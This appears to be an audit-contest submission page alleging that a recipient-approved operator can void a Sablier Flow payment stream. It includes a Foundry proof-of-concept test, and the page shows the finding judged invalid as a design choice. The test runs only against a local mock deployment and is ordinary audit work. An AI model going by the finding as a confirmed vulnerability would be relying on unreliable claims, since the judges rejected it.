Flow

Sablier
FoundryDeFi
20,000 USDC
View results
Submission Details
Severity: medium
Invalid

A Malicious user approved by the recipient can void the stream before it starts.

Discussion

The void function allows the recipient and sender to void the stream. Also approved users can void the stream. This is a problem because a malicious user can be approved by the recipient and then void the stream before it even starts . This means that the recipient will not receive the expected amount of tokens.
The approved user can stop void the stream before it start, while it is in motion or after it has finished, this is a problem because it can be used to cheat the recipient out what they are suppose to receive.

POC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import { Test,console2 } from "forge-std/src/Test.sol";
import "src/SablierFlow.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC20Mock } from "tests/mocks/ERC20Mock.sol";
import "src/abstracts/SablierFlowBase.sol";
import "src/FlowNFTDescriptor.sol";
contract SablierFlowWithdrawTest is Test {
UD60x18 internal constant PROTOCOL_FEE = UD60x18.wrap(0.01e18); // 1%
SablierFlow sablierFlow;
ERC20Mock testToken;
FlowNFTDescriptor flowDescriptor;
address alice = address(0x1111);
address bob = address(0x2222);
address charlie = address(0x3333);
uint256 streamId;
function setUp() public {
// Deploy SablierFlow
sablierFlow = new SablierFlow(address(this), IFlowNFTDescriptor(flowDescriptor));
// Deploy a test ERC20 token
testToken = new ERC20Mock("Test Token", "TT", 18);
// Mint initial tokens to Alice
testToken.mint(alice, 2e18);
testToken.mint(address(this), 2e18);
testToken.approve(address(sablierFlow), type(uint256).max);
// Approve SablierFlow to spend Alice's tokens
vm.startPrank(alice);
testToken.approve(address(sablierFlow), type(uint256).max);
// Create a stream from Alice to Bob
streamId = sablierFlow.create(
alice,
bob,
UD21x18.wrap(1e18),
testToken,
false
);
vm.stopPrank();
}
function testApprovedUserStopStream() public {
//set Protocol fee
vm.prank(address(this));
sablierFlow.setProtocolFee(testToken, PROTOCOL_FEE);
//recipient approve user
vm.prank(bob);
sablierFlow.approve(charlie, 1);
//stream balance is zero
uint128 streamBalanceBefore = sablierFlow.getStream(1).balance;
console2.log(streamBalanceBefore);
vm.warp(100 days);
//sender deposits
vm.prank(alice);
sablierFlow.deposit(1, 1e18, alice, bob);
//malicious approved user stops the stream
vm.prank(charlie);
sablierFlow.void(1);
vm.expectRevert();
//sender tries to restart but fails
vm.prank(alice);
sablierFlow.restart(1, UD21x18.wrap(1e18));
}
}

This test case covers the following scenarios:

  • creating a stream in the setup without deposit initialy

  • depositing tokens into the stream

  • voided the stream with a malicious approved user

  • attempting to restart the stream after it has been voided by an approved user

To continue the stream the sender will have to create a new one as voided streams can not be restarted. which more gas to be spent by the sender, for both refundingand createa new flow.

Recommendation

Disallow approved users from calling void as it is a sensitive function.

Updates

Lead Judging Commences

inallhonesty Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.